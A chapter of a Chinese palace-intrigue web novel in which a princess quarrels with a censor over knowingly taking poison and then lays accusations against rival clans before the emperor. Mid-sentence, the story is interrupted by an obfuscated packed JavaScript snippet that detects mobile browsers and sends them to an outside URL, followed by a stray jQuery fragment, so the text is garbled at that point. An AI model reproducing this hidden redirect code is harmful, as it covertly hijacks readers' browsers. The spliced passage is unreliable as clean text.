待心绪稍平,姜宁才想起询问中毒后的情形。她抬眸看向沈之衡:“我中毒后,外面如何了?”
沈之衡眉峰微蹙,似在斟酌从何说起。
片刻后,他言简意赅道:“天香楼下毒之人,当夜自裁。但从他近日走动的关系和搜寻出来的证据来看,均指向萧家。”
“果然。”姜宁唇角微弯,并无意外。顿了顿,又问:“汪家可有牵扯?”
“暂无实证。”沈之衡答得干脆。
“嗯。”姜宁低应一声。
汪远此人,终究太过谨慎。汪家根基,仍难撼动,眼下或许只能尝试从齐任东处撕开缺口。
她目光转向沈之衡,带着一丝探询:“户部齐尚书那边,沈大人迟迟未动,是顾念旧情么?”
沈之衡迎上她的视线,语气沉静:“齐尚书位高权重,牵涉甚广,户部多名官吏皆在网中。此事,非圣上旨意不可轻动。”
姜宁微微颔首,不再追问。
沈之衡凝视着她,喉结微动,忽道:“微臣……有愧。”
姜宁侧首,眸带不解:“沈大人何愧之有?”
“天香楼膳食……”他声音微涩,“是微臣疏忽了。”
他本想让她在牢狱之中舒坦一些,却不想招来这毒杀的祸端。
听闻是此事,姜宁不禁轻笑一声,目光悠悠转向床榻帷幔,语带慵懒:“沈大人不必自责。那饭菜有毒,本宫入口前便知。那夜,本宫是故意服下,只为坐实下毒之人的罪名罢了。”
话音已落,却未闻回应。姜宁转眸望去,只见沈之衡眼角已微红。她试探地轻唤:“沈大人?”
沈之衡的目光直直锁住她,一字一句,皆是克制,他带着压抑的怒意,倏然开口:“故意服下?殿下可知,那夜何等凶险?若非七年前庆阳郡恰巧进贡了那株祝景花,微臣不敢担保,殿下此刻还能否这般轻描淡写地说出‘故意’二字?!”
忆及那夜,他犹觉后怕。
姜宁微微一怔。
沈之衡素来清冷自持,这般失态,她从未见过。那怒意,那质问,似在怨她?
“我……”姜宁唇瓣微启,带着一丝心虚解释道:“那夜,本宫先服了随身携带的解毒药丸,性命无虞,只需熬过十二时辰的痛楚。只是未料到鬼面草毒性发作如此迅猛,因而未来得及提前告知沈大人。”
说到底,那不过一场意外罢了。
“万一呢?”沈之衡声音陡然转冷。
“什么?”姜宁蹙眉。
沈之衡定定望着她,语气冰冷:“万一那药丸无效呢?殿下布局的每一步,都要以性命为注么?”
浮月桥纵身一跃,宴席上以男宠引祸,台狱中故意服毒……桩桩件件,她皆是以命相搏!
她或许自认为算无遗策,可曾想过那万一?!
“沈大人是在质问本宫?”姜宁眉梢微挑,尾音拖长。
她面色骤然凌厉,像个刺猬般带着警惕,冷笑道:“沈之衡,你没有任何资格这般质问我。本宫行事,还轮不到你沈御史置喙。你需明白,我们之间,不过交易。纵使曾有合作,也断无半分情分可言!”
断无半分情分?
沈之衡唇角泛起一丝苦涩,眼中亦是掠过失落。
是了,姜宁待他,确无情分。她眼中,他不过是棋子,是可供逗弄利用的臣子。
唯他沈之衡,愚不可及,动了心念。
他深吸一口气,压下翻涌心绪,声音恢复冷硬:“陛下昨日已出关,传旨殿下苏醒后即刻入宫面圣。”
言罢,他对着姜宁深深一揖,礼数周全,“微臣告退!”随即转身,步履决绝。
“沈大人留步!”
沈之衡身形微顿,侧首:“殿下还有何吩咐?”
姜宁抬眸看他:“本宫府中之人,何时可放?苏七,本宫需他办事。”
沈之衡低眸,唇边勾起一抹自嘲弧度,复又抬眼,声音平静无波:“待殿下通敌之嫌洗清,都察院自会放人。”
语毕,他不再停留,径直离去。
姜宁望着他消失的背影,一股无名火骤然从胸腔窜上额头。
他竟敢如此回话?!
他又在置什么气?!
除了合作关系,难道还妄想什么情分么?!
过了许久,姜宁胸中那股无名火方才渐渐平息。
她尝试缓缓起身,身体已无半分痛楚,反倒透着一股奇异的爽利。暗自想着,待回头定要向师父问清那药丸的来历。
足尖触及冰凉的地面,寒意令她神思又清明几分。她自行梳洗妥当,随后扬声吩咐:“来人,备车。本宫要进宫面圣。”
门外侍从应声:“回殿下,沈御史方才已吩咐备下,车马已此刻正在府前等候。”
?
呵,谁稀罕他的好意?
姜宁唇角不禁浮过一丝冷嘲。
————
庆元殿外,未时刚过。
李鸿顺侍立阶前,见姜宁前来,连忙躬身行礼:“殿下凤体可好些了?”
姜宁莞尔一笑:“劳公公挂心,已无碍了。”
“那便好,”李鸿顺颔首,续道:“看来那祝景花,确有解百毒之奇效。”
提及祝景花,姜宁方才想起沈之衡质问时所言,曾称此花乃庆阳郡数年前贡品。
但动用贡品,非父皇旨意不可。
她心下一沉,问道:“这祝景花……是父皇所赐?”
“是的,殿下。”李鸿顺忆起那夜,犹有余悸,“沈御史当夜策马直奔元阳殿而来,求陛下赐花救命,险些径直擅闯、酿成大祸。老奴至今想来,仍心惊不已。”他摇头叹息。
此言一出,姜宁瞬间明了沈之衡那夜所为。公主府、宫门、元阳殿,道道阻拦。
于她而言,那夜不过是昏沉一梦。
于他,却是生死一线,惊险万分。
“谢公公告知。”姜宁略一颔首,举步踏入殿内。
殿中,姜厚钦如同往常那样,伏案批阅奏疏,但是面色极其憔悴,精神已不复往日。
姜宁行至御前,伏身行礼:“儿臣给父皇请安。”
姜厚钦抬眸,目光沉沉,声音平稳无波,话语却重若千钧:“姜宁,你可知错?”
“儿臣知错。”姜宁答得干脆。
“好,”姜厚钦搁下朱笔,“那你说说,错在何处?”
姜宁抬首,目光灼灼:“儿臣错在,不该执念于真相与公道。”
姜厚钦眉峰微蹙,知她话中带刺,叹道:“你要真相,要公道,朕不拦你。但你这般行事,是自认算无遗策么?是自认为可以将一切玩弄于股掌之中么?”
他虽闭关,但外间风云,尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319385|180369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在掌握。他本想看女儿意欲搅动何等波澜,未料她竟如此大胆,更如此不惜己身。
姜宁眼睫微颤。父皇这话何其耳熟?
与沈之衡如出一辙?
她轻抿薄唇,并未直接回应,而是转而开口道:“父皇可知,儿臣此次中毒昏迷时,曾做了一个很长的梦。”
“何梦?”
“儿臣梦见,镇北侯府阖家安康,梦见母后尚在,宸弟尚在。梦见天元二十一年春,宫中处处张灯结彩,父皇、母后、宸弟言笑晏晏……送儿臣与驸马成婚。”她的目光投向虚空,渐渐失焦。
她声音渐低,带着一丝虚幻的暖意,“那日,宸弟赠儿臣的新婚贺礼,是一对温润白玉佩。他说:‘恭贺皇姐,新婚大喜。’”语至最后,嗓音已沙哑。
在姜宁的言语之间,姜厚钦眼前仿佛也浮现出灵均温婉的笑靥。那确实……是极美的梦境。
可自灵均去后,她从未入他梦中。是在怨他么?怨他这些年,一直在纵容。
姜厚钦深吸一口气,沉声道:“近日京中的传言,朕亦有所闻。朕自会查清,给你一个交代。”
“儿臣,谢父皇!”姜宁俯首,重重叩拜。
姜厚钦自案头拿起一叠信笺,又问:“说说吧,你那男宠之事,与柔然有何干系?通敌之说,朕自是不信。昨日沈卿来报,此次毒杀,乃萧家所为。萧定权虽已入狱,但只字不言。此番,你又意在何处?”
姜宁抬眸,言简意赅回道:“二十二年前,萧定权勾结柔然,设计镇北侯满门战死沙场。为表诚意,除了诸多财物和军械,他还将幼妹送入柔然王庭。那男宠,便是其妹与柔然王之子。儿臣在庆阳之时,那人找到儿臣,请求儿臣为他母亲报仇。故而,儿臣才将其带到京城来,只为引蛇出洞。”
姜厚钦面色不动,眼底则掠过一丝惊涛:“此事重大,可有凭据?柔然人之言,不可尽信。”
“有。”姜宁答得斩钉截铁。她虽在台狱被关押一月,但贺兰风所说的相应证物,此刻应当已送至京城凤明堂了。
姜厚钦缓缓起身,面色一沉:“此事,朕会交由沈卿会同三司彻查。裴家忠烈,为国捐躯。若真是如此,朕定不会让镇北侯含恨九泉。”
言罢,他目光深邃地看向姜宁,声音带着一丝不易察觉的疲惫:“宁儿,你大可信朕。”
若有线索,可以信他会查明,可以信他会予她公道。不必如此以身犯险。
姜宁未直接回应,而是反问:“那换作父皇,可愿信苏家?可愿信儿臣?”
见姜厚钦不语,她将话挑得更明:“父皇想必也有所察觉,汪家这些年,绝非清白。这大凌江山万民,父皇难道真的放心托付于太子和汪家么?父皇是否愿意相信另一条路,是否愿意相信儿臣与苏家?再不济……”
她顿了顿,目光沉静,“父皇亦可信沈御史,有他在,能扶正这朝堂。”
语毕,她再次重重叩首:“汪家……儿臣必除之!”
姜厚钦听着她坦言的字字句句,虽有预感,却仍是一惊。除此之外,还有些许欣慰之情。
二十余年前,他未曾信过,一意孤行。灵均……宸儿……皆……
如今,或许,也可以是另一条路?
但他并未当场表态,只是轻轻摆手,示意姜宁先退下。随即,又传旨将沈之衡召进宫来。